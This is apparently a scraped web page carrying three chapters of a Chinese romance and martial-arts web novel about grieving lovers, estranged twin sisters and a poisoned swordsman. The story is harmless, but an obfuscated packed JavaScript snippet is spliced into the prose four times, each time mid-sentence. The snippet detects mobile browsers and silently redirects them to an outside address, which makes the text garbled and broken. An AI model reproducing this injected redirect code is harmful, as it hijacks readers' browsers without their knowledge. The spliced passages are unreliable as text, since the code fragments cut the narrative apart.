称之为和平政变,是因为除了芈氏一行人和白无垢,没有其他人员伤亡,没有弄得生灵涂炭,百姓依旧安居乐业——这本来就是皇室的战争,和寻常人没太大的干系。 白无垢走后,霜满天不敢再去寅凡殿,那里有着太多他和无垢的回忆,一桌一椅都能触景生情,他怕会忍不住想起无垢,所以定居在泰和殿。至于映雪殿,芈氏被抓起来的那天,霜满天就把它一把火烧了。 七月初九,正是花伶生辰,柳源戏班热闹得不行。 只因花伶休息半月余便又上台了,柳源戏班依旧是大好如白无垢在时的状况。 一大清早,特地有宫里的画师前来拜见花伶:“皇上说,二爷名满临初,理应和耿安国那些风流人物一般,载入史册。” 霜满天之前暗许过柳源戏班,替他照顾好无垢,将来定会助柳源戏班一臂之力。没想到白无垢更上心,直接把戏班带火了,现在无垢不在了,霜满天理应接着替他们打点好各项事宜。 造势弄势,总之名声不能减就是啦。 花伶还穿着刚刚练戏时的戏服,根本无心听来人的一番说道,蹙着眉,也没有出声,画师以为她是答应了,便顾自开始描摹。 花伶像是朵枯萎的花朵,蔫蔫地呆在墙角。她记得,曾经有个人说在她十六岁生辰那天娶她,往日种种誓言历历在目,记忆深刻,她现在长大了,可那个娶她的人早已入了土,真是可笑。 画师走后好久,花伶才晃过神来,她也就想想,却再也不会为白无垢哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598184|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。她早想通了,死去的人哪有活着的人重要,与其天天把精神放在一个死人身上,不如留着精力多做些自己想做的事,指不定哪天愿望还没达成就死了,命这种事,谁说得定呢。 随着人群,慕卿也给花伶送来了“生辰礼”——他藏了二十年的两坛好酒。 早些时间,慕卿把花雕安置在客栈,说是要给她个惊喜,尔后顾自去打听了。 慕卿找到了沈佳期,向其说明来意,沈佳期惊喜,当初的一双姐妹,居然有缘得以重见,可不得让人欢喜嘛,遂径直将慕卿带到花伶跟前。 感念沈班主成全,慕卿望着眼前浓妆艳抹的“花二爷”,感慨十余年的时光弹指一挥间,如今多亏柳源戏班盛名在外,这才这么容易见到花雕的姐姐,真的是踏破铁鞋无觅处,得来全不费工夫。 随后,慕卿又想,既然花伶的生辰是七月初八,同为胞妹,那么花雕的也应该是吧,这么久了,他终于知道了花雕的生辰。 向花伶表明了来意,哪知对方阴阳怪气道:“妹妹?我可不记得我有过这么一个妹妹?姑娘怕是记错了吧。” 见慕卿继续纠缠,花伶索性拿了帕子,一脸倦意道:“瑾旭,送客吧。” 接着就有个丁点大的娃娃领着他出宅子。吃了闭门羹,慕卿庆幸,还好没带花雕来,她要知道姐姐不认她,指不定得多伤心呢。 瑾旭送走慕卿后,花伶扶着廊上的红柱,恶心得厉害,想吐却又吐不出来。 叶童舟见状,赶忙上去问她:“师弟,怎么了?” 花伶抬头,一双氲着泪的眸子望向他,摇摇头道:“没事。” 慕卿回到客栈后,花雕缠着他问自己的“惊喜”呢,慕卿不敢告诉她实情,怕一不小心就成了惊吓,又忆起今日是她生辰,便戳了戳她的额头:“丫头有什么愿望?我都可以帮你实现,只在今天有效哟。” 花雕一时也想不到,便告诉他:“emmmm,天黑之前告诉你。” 转而,给刚进屋不久的慕卿端了板凳,又替他斟茶:“师父,听说那花二爷和白无垢是挚友,白无垢死了,花二爷得多伤心呐。” 死丫头怎么会关心这?慕卿挑眉:“在哪听说的?” “说书先生那里。”慕卿出门后,花雕闲来无事,便去楼下坐坐。楼下有个说书先生,新讲的段子是梨园一枝花“花二爷”和耿安流落在外的君主白无垢在柳源戏班结出深厚友谊的故事,花雕今日听的便是这出。 慕卿啜了口茶,不以为意说道:“他们净瞎说。” 说起白无垢,慕卿开始明白,为什么花伶不会认花雕了。花伶失去了最爱的人,于她而言,血缘至亲根本敌不上朝夕相伴,一个失散多年素未谋面的妹妹,根本填不上白无垢的缺。 - 泰和殿内,霜满天怀抱着几个美人,和她们喝酒猜拳,大有一副沉迷于酒色不理朝政的昏庸君王模样。 见花伶来了,下人本打算去禀报,却被花伶止住。 花伶板着脸,一言不发地走到他跟前,驻足良久,有些嫌弃,冷眼道:“你这样,对得起你死去的弟弟吗?” 霜满天定神,努力地看清面前人模样:“是二爷啊,今日请去你们戏班的画师可还满意?” 43. 双生4 “满意?”花伶哪里还记得,柳源戏班何曾来过什么画师,彼时脑里心里都是白无垢。 “不满意罢了,改日我重新给你找一个,这宫里啥都不缺,就是吃闲饭的比较多……”话还未说完,霜满天打了个浓重的酒嗝,酒味熏得花伶有些难受,她下意识往后退了退。 花伶还记得她第一次见到霜满天是在柳源戏班,那时霜满天骑着匹快马,奔来给白无垢送药。那天他身穿棕褐色的短褐,围了一圈头巾,虽是土匪打扮,却是眉目爽朗,隐隐约约带着些许痞气的帅,可现在面前的人呢? 虽身着龙袍,却衣冠不整且头发邋遢,胡子也是很久没刮,衣上还残留着酒渍,怀中还隽着美人香。 看他这样,花伶也未过多地停留,便从泰和殿离去。 霜满天身边的美人见此情景,不明所以:“也不知道这花二爷找皇上有什么事,嗐,就这么走了。” “没事,我们继续划拳。”霜满天一把搂过怀中的人,又顾自闷了杯酒。 “哎呀,讨厌啦,皇上光顾着自己喝,一个人喝酒有什么意思,奴婢来陪您喝。”怀中人颇为娇俏,又替他斟了杯酒,正准备举杯相迎。 霜满天蓦地想起来那个和他把酒言欢的无垢,这是他不能触碰的逆鳞。朝中人心照不宣,不能提及这个名字,可谁又曾想到,睹物思人何尝不是种回忆? “滚!都给老子滚!”突然,霜满天黑了脸,暴怒道,毫无征兆地推开怀中人,并摔烂了手中的酒杯。 吓得满屋的美人花容失色,收拾片刻就提着裙摆下去了,只留下霜满天独自在空荡荡的泰和殿,伴着声被拉得老长的“无垢”。 花伶本来要跟霜满天说,她有了无垢的孩子,想请他帮忙拿拿主意,该怎么办,是生下来还是打掉?还有,孩子长大以后,她还要不要继续唱戏? 可一见霜满天那副模样,花伶所有的想法都止在了嘴边。 她不怪霜满天,她能理解,都是沉醉在过去的人儿,只不过她醒了,霜满天还醉着罢了。 头一次,花伶遇见了一个需要瞒过柳源戏班的事,除了霜满天,她根本不知道要找谁吐露心思,心中忐忑得如打鼓,却又不知该如何,无奈,只能在河边散散心。 中元将至,河边有不少男女老少正在放河灯,传闻流水可将逝者鬼魂从此岸带到彼岸,为了避免迷路,便为其点一盏莲灯,以此照亮他们归去的路。 如此,每盏莲灯下,都寄存着一个令人牵肠挂肚的不归人。 卖莲灯的店家看她望着流水出了神,问道:“姑娘,要来盏灯吗?” 花伶摇摇头,不要!这莲灯是送已故之人灵魂到彼岸往生的,她怎么会舍得让无垢走,还巴不得白无垢能飘回来,常陪她说说话呢。 灯,又同等。花伶每每到夜里看到万家灯火白如昼,就知道在等的并不是只有她一个人,只是那些人是否都同她一样?再也等不到归人。 想着想着,面前的景色又斑驳了几分…… 客栈里,花雕像只扑腾的鸟儿一样奔向慕卿:“师父师父,我想好了。” 慕卿今天允诺她,可以答应她一个愿望,她只当慕卿是心情好,想着这么个好机会,不要白不要。 “哦?”慕卿停下剪烛的手,有些期待地望向她,这小鬼,会提什么要求呢? 花雕神秘一笑,随即伸出手指来,指着窗外的天空道:“今夜星星不错,我们一起去看星星吧!” 其实她想了很久,但她根本找不到什么很大的愿望,她要的东西慕卿都给她了。但想到慕卿向来都是老年人作息,睡得早起得早,就想他破例为她熬次夜,一起去数星星吧。 “就这?”慕卿心想,这个愿望也太小了吧,就算花雕不特地说,他也做得到哇。 “嗯嗯嗯!”花雕点头如剁馅,长这么大,她还没有和师父一起看过星空呢,仔细想来还是有些开心的。 稀稀落落的莲灯随着水流而去,河面上泛起了衔着冷光的萤火,有星星的夜晚月亮很暗,暗得好像一个风烛残年的老妪的眸。 慕卿依旧是女装,从不远处看来,两个年纪相仿的姑娘并排立在桥上,时不时对周围的环境指点着,聊得投机时巧笑嫣然,煞是养眼。 这一幕被某个失意的女子尽数捕捉到眸中,花伶突然想到白天来访的慕卿,那个跟“她”在一起的女子,就是“她”口中的那个妹妹吧…… 花雕笑得那么开心,那笑容像一根针,把花伶原本破碎的心再次扎得鲜血淋漓。 更重要的是妹妹旁边的“女子”,时不时地看向她,那笑容,像是要把她含着捧着,生怕化了一样。 花伶嫉妒! 曾几何时,她也有把她捧在手心尖尖上的人,可是那人并未过多停留,花伶才明白他的心意不久,那人就如秋日的鸿雁,留了一片轻飘飘的羽毛走了。 花伶所有的不满,都化作了羡慕嫉妒恨,发泄在这个眉目跟她有六七分相似的妹妹身上。 凭什么! 自己身处水深火热,凭什么她可以笑得肆无忌惮,凭什么她身边有那么一个宠她爱她的人儿,而上天却带走了她花伶的那个人? 苍天不公! 既然如此,不如把花雕的那个人也毁掉好了,她花伶得不到的幸福,别人也休想得到!本就是双生花,同生同死,有难同当,哪有她现在一个人在这里受苦的道理? 花雕和慕卿两人有说有笑,完全没察觉到自己被一双嫉妒得怒火中烧的眸盯上了。 看过了星星,听过了说书,花雕也不急着回全县赵府,依旧带着慕卿,此处走走,那处瞧瞧,一路游山玩水,不亦乐乎。 慕卿只当她是出阁前的放纵,也未纠结太多,跟着她一路乱跑,却再也没想过替她回去寻姐姐。只因他知道,那花二爷,根本不是善茬,他家花雕一只纯良无辜的小兔子,惹不起。 转眼又是发作之期,慕卿跟花雕玩疯了,一路上竟然把这一茬给忘了,眼看着八月十五将近,慕卿看着天上那轮明晃晃的月亮,暗念了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598185|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句“不好”。 花雕当然也知道慕卿每三个月会发作一次的蛊毒之症,不过她并不担心,毕竟上次慕卿遇到了百香翎,她想百香翎是空山谷人,慕卿一定是从她身上得到了什么解决之法,才会如此豁达淡定地放百香翎走。 可事实并不是如此,腿长在百香翎的脚上,她想走,慕卿也没拦她,就放她离去了。 花雕也颇想查验自己的想法对不对,就像盯着豢养的小兽一样,把慕卿看得寸步不离。 察觉到花雕打量的目光,慕卿琢磨着到时候要不要一掌劈晕她,随即转念想了想,觉得还是算了:本来就不聪明,被打得更傻了怎么办? 头一次,夜那么长,花雕和慕卿对立而坐,看月亮一点一点地爬上来。 本以为奇迹会发生,可是并没有,花雕看着慕卿的额头开始沁出汗珠来,而此时慕卿开始找理由离开:“为师困了,要先睡了,晚安小花雕。” 花雕没有回答他,而是紧紧跟在他身后,她守了他一天!可不能前功尽弃。 她又看到了三个月前的景象,血痕、流淌的汗……慕卿犹如一只困兽,不断地撕扯着自己。 花雕看得睁圆了眼,原来百香翎只是来过了一遍,却什么都没有做啊,师父那么心善,她一定是师父主动放走的…… 看着慕卿难受,花雕也心如刀割,难受至极。 “百香翎呢,百香翎她在哪里?师父你知不知道,你快点告诉我啊。”慢慢地,语气从哀伤变成了请求,花雕抓着慕卿的手,急切地问道。 又复发了,这个时候,她守在慕卿身边又能做什么,只是眼睁睁地看着他受苦罢了。百香翎不一样,她是空山谷的人,她一定知道解救慕卿的方法,只要找到百香翎,一切问题便可以迎刃而解。 花雕又想起来了百香翎,与其干着急,不如寻找解决办法,蛊毒之症会持续一个夜,只要在这个夜晚把香翎带回来,慕卿就可以不用那么痛苦了。 “望……望南山……”此时,慕卿仿佛心口上堵着一团棉花,难受得喘不过气来,三个字说出了临终遗言的悲壮,大有一副灯枯油尽即将驾鹤西去的阵势。 “明天,一起去吧,现在,你先出去,好吗?”慕卿看她迈开步子准备出门,一把拉住她,天这么黑,她要是在路上遇到坏人,没他保护她,那可怎么办? 看着花雕眼泪吧嗒吧嗒往下掉,他于心不忍,安慰道:“别哭。我没事的。”语气上虽然是风轻云淡,可他双手紧握成拳,指甲深深地嵌进肉里,刺出血来。 慕卿索性封了几处的经脉,可这样,那些原本分散开来的疼痛跟封路后的车流一样,拥挤着往某处疼,慕卿承受不住,最终晕了过去。 “师父……师父……”花雕喊他,可是他没有任何反应。 花雕见着此情此景,内心的愧疚却更深了,慕卿对她那样好,此时此刻她却什么都做不到,只能看着他难受。 花雕泪流成柱,都怪自己没用,师父的什么事,她都帮不上任何忙。 44. 双生5 慕卿已经记不清,这是第几次了,他一早病发醒来,花雕留在他身旁睡得正香。 梦中此情此景重复过上百遍,虽然现实中才发生过两次,可那种真切的心痛,即便在梦中也那么真实,让他分不清虚实。 无奈地叹了口气,唉,还好她还在。 昨天花雕梨花带雨地说去找香翎,他真的害怕花雕自己跑了,好在,花雕一向都是听他话的。 她趴在床榻边沿,几缕碎发垂在了粉雕玉琢的脸蛋上,是正好的年纪啊,花一般的容貌。慕卿感慨罢,下一秒伸爪,揪,声音里好似含着玉:“起来啦!” 花雕蓦地爬起来,张口便是:“香翎……香翎姑娘?” 慕卿微怔,这是,惦记百香翎惦记了一晚上? 花雕环望了四周,发现梦里的那个香翎并不在自己身边,不禁大失所望,又用一双盈盈剪水的眸子期待地望向慕卿:“师父,你昨天是不是跟我说过,要带我去望南山找香翎姑娘?” “嗯,”慕卿轻声应了句,随即认真强调道:“但你要答应我,无论接下来发生什么,一定要在九月初回到赵泽毅那里。” 慕卿其实是不太想面对百香翎的,他觉得自己于百香翎有亏欠,饶是这样,还要向她讨要东西,多多少少有点心虚。 百香翎遇见了慕卿,也知慕卿为蛊毒所困,既然不主动告诉慕卿解法,说明她不是太愿意告知于他或者是解法有难处;再者,人心经不起岁月蹉跎,都是会变的,百香翎再也不是多年前的那个翎儿小姑娘了,一见面就要慕卿在花雕和自己中选一个来为难他,慕卿根本不确定百香翎究竟何意图。 慕卿心中忐忑,此去望南山,也不知会发生什么,但是不去,花雕肯定一直纠缠着他不放,就怕她一闹性子,直接弃了九月初九的婚约,那样于她于赵泽毅,都是不好的。 慕卿心中念叨,姑奶奶们啊,你们就都安分点吧。 花雕倒是不太明白这其中的纠葛,却听出了慕卿的弦外之音,会……发生什么? 花雕驾着马,把慕卿放在车厢里不让出来,用她的话说,哪有让病人来驱马的道理,慕卿心中当然是一千个一万个乐意,当病号也挺好的,可以偷懒不用干活——虽然血蛊早就修复好了他的身体。 “师父,有个词叫‘金屋藏娇’,是不是就是这样的?”花雕在半路上像是想起了什么,扭着脑袋问车厢里的人。 她听慕卿讲过这个故事,有个皇帝小时候说要建一个金屋子藏一个美人。这么一想,那百香翎也算得上是个美人,巴掌大的小脸,赫然标准的杏眼,虽然她之前气急败坏地说了些碎嘴的话,但不可否认,人家的底子好,美人基础是摆在这里的。 “什么金屋藏娇,瞎说。”慕卿不以为然,望南山满山桃花,景致好,里面还藏了百余坛子酒,诗酒趁年华,用金屋形容实在是俗气。 慕卿只是不喜欢这样凄惨的爱情故事,金屋藏娇又如何,最是薄情帝王家,曾经那般的海誓山盟,还不是被后来者居上,落了个凄惨长门宫的下场。 当初慕卿看着百香翎无处可去,觉得她可怜,又想着花雕会和赵泽毅在一起,自己也命不久矣。望南山那么大的宅子闲着可惜,说拿去当了又太远,来来去去不知道会耗上多少个时日,花雕看不到他又要哭爹爹喊奶奶,不如留给百香翎住。 现在慕卿期待的却是,百香翎不在望南山。那样他大可忽悠着花雕直接去赵府,花雕和赵泽毅两人成了亲,他喝过喜酒,这事就算结束了,到时候他去他的归处,她拥她的良人,皆大欢喜。 想法固然是好的,可惜事不遂人愿,百香翎还真的就在望南山。两人赶到的时候,发现宅子大门敞开,屋里空无一人,炉火里尚有余温。 不是遭了贼,是屋里人出门未锁门,只能说明百香翎就在这不远处。 两人找了一圈,发现百香翎正猫在树丛里摘桃子。 看他们来了,百香翎也不吃惊,倒是颇为熟络道:“来一起啊,摘了分给山下的婶婶伯伯们,这么多,任其自生自灭就浪费了。” 随即树旁钻出来两个小毛孩,猴似的拎着她的满箩筐桃子就跑了。 可能是山下的小孩吧,慕卿想着。 一见有吃的,花雕马上加入到摘桃的行列中去,把来望南山的目的置之脑后——反正百香翎一直都在这里,又跑不了!等摘完桃,再问也不迟嘛。 慕卿倒是不为所动,不就几个桃嘛,有什么好稀奇的,这山上可多的是。 桃子的品种还挺多,有脆桃有软桃,有毛桃有油桃,有黄桃有红桃还有白桃,花雕惊喜得像发现了宝藏一样。 小时候她曾在望南山待过几年,只不过那时候桃树还没挂果,长大后的夏天他们一般也不在望南山,花雕心中无限可惜,啊啊啊啊啊,错过了错过了! 花雕一边摘还一边在地上干净的水桶里洗了几个,给慕卿抛了一个,又递给百香翎一个,自己才拿起一个啃了起来。 “嗯,你别说,还挺甜。”蜜桃香甜多汁,一口咬下去,汁液在味蕾弥漫开来,好吃!随即,花雕问身旁人:“师父,你买树的时候特地挑选树种了吗?这桃真好。” “没……”他一次要买几百棵桃树,掌柜的那里没有那么大量,就东凑几棵,西凑几棵,这才凑齐了他想要的数量,哪知这些桃树是这么多个品种,春日里都开着小白花小粉花倒是分辨不出有何区别,但果子成熟时倒像挂了个桃园似的。 吃饱喝足,花雕想回到正题之上,又睨了慕卿一眼,他倒是镇定自若,跟个没事人似的。心里感到奇怪,慕卿一直杵在这里跟棵桃树似的,他为何不自己开口? “百姑娘,其实这次我们回来,不为别的……”花雕内心给自己做足思想工作,终于启齿。 百香翎也不傻,知道他们来的目的,却有意在卖关子:“过几日,我自然会告诉你们。” 花雕刚想追问,只见百香翎又啃了口桃子:“都过了那么久,也不急在一时呗。” 花雕想了想,也是吼! 慕卿知道百香翎这是在跟花雕打着马虎眼,什么解药啊,可能根本就不存在,但为了能让某个小丫头安心,他还是配合着百香翎卖关子。 事实是几乎没有解药,百香翎终究是忍住没让花雕知道,想找个机会把她支开,只跟慕卿说这件事。之前,她开玩笑说让慕卿在自身性命和花雕中选一个,慕卿毫不犹豫地选了花雕。 心尖上的人儿呐,他怎么会舍得让她难过! 于是,百香翎开始了花式为难花雕的路途。 慕卿当然不会帮花雕,还巴不得她能早点离开望南山呢,索性就由着百香翎各种挑刺。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598186|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 百香翎先是嫌弃她今天的桃子没洗干净,惹得自己闹肚子,对花雕一顿埋怨。慕卿添油加醋,在一旁捂着肚子:“好像是真的,我肚子也有些不舒服。”花雕委屈,这么多人,吃的是同样的桃,就她一个人怪好咧。 百香翎又指使花雕去做饭,又怪她饭菜做得不好吃,当场给她倒了。慕卿倒也配合,只吃了几口就撂了筷子。花雕承认,她厨艺的确有待精进。 百香翎还让她去打洗脚水,花雕毕竟是有求于人家,对百香翎唯命是从,可百香翎觉得水温不合适,不是嫌冷就是觉得烫,让她换了一次又一次。慕卿也只是一副事不关己高高挂起的模样,云淡风轻地从二人身边路过。 …… 终于,十几个轮回后,花雕气成了一只鼓鼓的河豚——她不是没有脾气,在慕卿那里,她向来都是衣来伸手,饭来张口,故而很多事情做不好,她对百香翎一再忍让,只是觉得她有能救慕卿的办法。 最最重要的是慕卿,居然跟百香翎沆瀣一气,一点都不站在自己这边,想到这里,花雕欲哭无泪,打算去找慕卿撒气。 慕卿听了花雕的一大番哭诉,冷哼一声:“我觉得她说得在理,你是真的什么事都干不好。”随即用一种高高在上的表情看着她。 花雕一听这话,心都凉了半截,怀疑这百香翎是不是跟慕卿两人之间暗通了什么款曲,都存心要刁难她。 “师父……”花雕望向慕卿,一双眸子委屈得几乎滴出水来。 慕卿不安慰她也就算了,居然还帮着百香翎损她。 “别叫我师父!我们行过拜师礼了吗?喝过拜师酒了吗?既然没有,你就不是我徒弟!我也没你这么没用的徒弟。” 花雕只是觉得这话有些耳熟,好像在哪里听过,细一想,这是第一次见到无涯子时他跟慕卿说的话。 果然,有师父必有其徒弟! 那时慕卿还一脸无赖样地朝无涯子递酒盏,说,要不我们现在拜?师父请喝酒。 花雕当然不似慕卿,禁得起各种揉捏滚打,所以啊,慕卿那副云淡风轻的模样,她可做不到。 花雕脸皮薄,慕卿这么一说,她委屈极了,铁了心是觉得慕卿不要她了,转身就往外面走。 慕卿依旧没有拦住他,花雕心想,如此,是她打扰他们二人了。 望着她远去的背影,慕卿觉得头大,这丫头,下次出门能不能记得带点钱,可慕卿又不能叫住她,如此,他之前所做的一切便都功亏一篑了,绝对不能给花雕留一丢丢的希望! 百香翎在隔壁屋子“看戏”,确认花雕是真的走远了以后,才缓缓揭开门帘,走了进来。 “你这毒,需要有至亲之人为你换血,且换过以后,所有的蛊毒都会转到他的身上,他的情况会变得跟你之前一样,倘若不成功的话,两个人都可能会死,所以基本上是无解的。” 慕卿微微颔首,这结果,本就在他意料之中,根本谈不上有多么惊喜或者惊吓。 随即,百香翎补充道:“另外,你发现了一件事吗?我们被人盯上了。” 慕卿十分肯定,这些人是冲自己而来的,用他刚才的话说,花雕身无长处,当然不值得成为谁的筹码,唯有空山谷的血蛊,才能成为众矢之的。 所以慕卿之前做的所有,都是把花雕推出这个局外。 45. 双生6 连续好几天,百香翎都在屋子附近发现了些村民打扮的人,那些人看似寻常,可她来望南山这么久,每家每户都混得熟络,从来没有见过这些面孔。他们表面上装作在忙,眼睛却时不时地往她这边瞟,很是可疑。 不止百香翎,慕卿也发现了这些异样的目光,只有某个傻瓜每天吃吃玩玩过得很开心。 到底是谁发现了药人的秘密?慕卿已经无处追究,他身上的香味这么浓,只要靠得近些,便都可以闻得见,被怀疑也很正常,所以他才不喜欢往人多的地方扎…… 可他不想连累身边的任何一个人,无论是花雕、赵泽毅,还是百香翎——这本来就是他自己的事,跟别人无关。 追风被慕卿拴在马厩里吃草,慕卿心想着花雕受了气,又没有钱,肯定是骑着它去找赵泽毅了——花雕早就不是那个没了钱还要特地跑回来找他要的女孩子,如今她也有了别的依靠。 最好一骑绝尘,再也不回头,直奔全县,两人之间干脆撇得干干净净——花雕那么没心没肺,待他百年后没多久便会忘了他吧,这样也好。 话虽如此,可是慕卿心里却隐隐地疼,跟蛊毒发作之时那种铺天盖地如万蚁噬心的疼不同,这种疼好似敲着大鼓,余韵绵长,在身体的每一处铺张开来。 “你们的事我可不想再掺和,好不容易从媚香楼出来,我可不想把自己又捯饬进去。”百香翎咬了口桃子,把腮帮子填得鼓鼓的,跟慕卿说道。 百香翎不确定来人是不是空山谷的,但她是害怕回去的,在空山谷早就没了亲情,多的是利益之间的权衡,她讨厌父亲那副唯利是图的嘴脸。命运使然,百香翎无法选择自己的出生,可他们都这般对她了,再相见难免尴尬,她选择远离慕卿和空山谷,也是为了自己的未来考虑。 “好的,谢了。”慕卿语气淡淡的,心想,最好都走,他就守在这望南山,看看有哪些牛鬼蛇神要来,大不了他一个人一把剑,血洗望南山就是了。 “慕卿,再见,后会无期。”一个桃子吃完,百香翎吐了桃核,拍拍手,转身欲离去。 “带点钱。”慕卿急忙叫住她,指了指桌上的一个布行囊,想着她也是身无分文的,毕竟是个女孩子,身上不带些盘缠,会不好过。 “哇,真好。”随即百香翎喜笑颜开地去翻他兜子里的银票。 其实这几个月百香翎会去集市卖桃,已经积攒了不少银子,饶是这样,白给的钱,哪有不要的道理? 屋外,花雕正欲离去,走到门口,推了柴扉,才发现自己重蹈覆辙,又没带钱。 可又不想回去找屋里的那个男人要,那样又显得她一无是处,离了他什么都干不好,正踱着步子,就看见门口悠悠吃草的追风。 花雕看见那吃得只剩半槽的食料,心里愈发冷静,慕卿从来都只是在早上和晚上喂马,现在大中午的喂马,这意思是马吃饱了好让她上路? 马都备好了,慕卿就这么希望她走?可是能去哪里呢? 赵泽毅。 花雕心里闪过一个名字,大概慕卿也是这么想的吧,除了赵泽毅那里,她几乎没有能去的地方。 紧接着,花雕脑海里闪过的却是慕卿说过的一段话,他说,无论接下来发生什么,都要在九月初回到赵泽毅身边。 赵泽毅!又是赵泽毅!一出问题就爱拿赵泽毅当挡箭牌! 花雕把石槽里追风吃的草料都扯了出来,心里气愤,吃这么多,长了膘就跑不快了,却觉得周围有人在看着她,是直觉,是第六感,而不是察觉。 猛地回首,环顾四周,却发现只有窸窣的草丛。 究竟是谁!又在窥伺着什么? 花雕正想着,只见百香翎欢喜地背着包裹走出屋子,还跟她打招呼:“哟,花姑娘,还在呢,那我先走了呀。” 花雕心中疑惑不已,百香翎也要走?所以慕卿一个人留下来是想干什么?他是不是又有不可告人的秘密? 那这些窥探着的人和慕卿之间是什么关系? 不行,她不能走,慕卿这是预谋已久,她不能这么掉入他的圈套,她要留下来,是劫是难,要一起渡,是福是祸,要一起闯。 不要再让慕卿一个人了,如果他遇到了什么需要寻求帮助的事,身边却空无一人,那该有多绝望啊。 “师父!我不打算走了,我要跟着你,你说得对,我一无是处,我离了你,就像鱼儿离了水,会死的。”花雕不能走,索性就脸皮厚一点,赖着慕卿,反正慕卿又不能拿她怎么样。 慕卿把玩着指尖青葱的翠玉琉璃酒盏,目光也停留在那方寸间,并不扭头看她,淡淡地说道:“回去成亲吧。” 慕卿怕他再多看几眼,就会越来越舍不得让她走,毕竟是他一手带大的丫头啊,多少还是不舍的,哪怕话说得再难听,脸色摆得再难看,也是为了花雕着想——他又不是草木,怎会无情? 眼下,于花雕而言,赵泽毅才是好的栖息避风之地,而不是他慕卿,一个连自己都顾及不好的将死之人。 “师父,我不回去。”慕卿淡定,她也淡定,两个人,都用最漫不经心的语气,说着声嘶力竭的心底话。 慕卿有理,当然也不会在气势上败给她,追言:“你也别不讲道理,做你该做的事,你知,我是不喜欢同他人讲道理的。” 一听他又要把大道理摆出来,花雕满脸不开心,大喊道:“我不管!我的娇蛮任性,都是你惯的!谁让你管不好我,这样你还把我丢给别人,我不同意!” 慕卿急了,不走干嘛,留在这里拖我的后腿啊! “你答应过我的,九月初……” 花雕从来都循规蹈矩,信守承诺,甚至小时候还“教”过慕卿一节关于诚信的课,所以慕卿心中笃定,花雕不会食言。 某人依旧黏得跟块化了的糖似的,不依不饶道:“我不管,只要你的事一天不解决,我就一天不回去。” 解决?如此,只有速战速决了。 下一秒,慕卿突然朝空气中喊了句:“都出来吧!” 真的,就从草丛里出来了几个村民打扮的人,花雕才明白,原来之前被人盯着的想法,不是一时错觉。 话不多说,几个人比了架势就开始动手,提着手中的长剑就向慕卿刺来,慕卿也不懈怠,蹙着眉,倏地拔起腰间的佩剑进行回防,抵挡住来人的凌厉剑势。 清脆的金属撞击声在花雕耳边盘旋,她看不懂招式,只是觉得几个人打一个人,慕卿是不占优势的那个,心都提到嗓子眼了,手中捏着冷汗,心中隐隐不安,可惜,她武功极差,不能前去帮忙。 只见慕卿舞着一套行云流水的剑法,看得她有些眼花缭乱,虽然这段慕卿曾示范给她看,她愣没学会一星半点。 那几人形成完美的配合,每招每势都想致慕卿于死地,却被他完美地避开。眼见着一道银光划过慕卿的脖颈,他轻巧地避过,却不经意将缠绕在上的一节轻纱割断,轻纱坠落在地,露出突兀的喉结。 不好,察觉到对方错愕的眼神,慕卿心知暴露了,手中的剑也有了半分的恍惚,微微一怔,生生错了下步招式。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598187|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为首的歹徒见不敌眼前人,趁机一把刺在他的手臂上,慕卿吃痛,皱了皱眉,捂住手臂。歹徒首领见状,随即吹了个口哨,转瞬一伙人都离开了。 慕卿正欲去追,却被花雕拉住:“你有没有事?” 她刚看见了慕卿的手被刺伤了,不知道有多么担心,才上前查看。可一碰到他,花雕马上收回了手,他有血蛊替他疗伤,能有什么事,是自己担多余的心了。 二人沉默良久,慕卿终于开口:“他们走了,我的事算不算解决了?你可以回去了吧。” 花雕心中不屑,这算哪门子解决,连来的那群人他们是谁、要干嘛都不知道! 不由分说地,非要死缠着慕卿,他去哪里,她就跟在后边,寸步不离。 哪怕是慕卿出恭,花雕也像个石头一样蹲在门外,还振振有词道:“我记得上一次你就这样赶我走,这次你又想故技重施,师父,你的小把戏被我识透了。” 闻言,慕卿并不做声,在心里默念了一句,傻子,能跑还不赶紧跑,到时候想走都走不掉了。 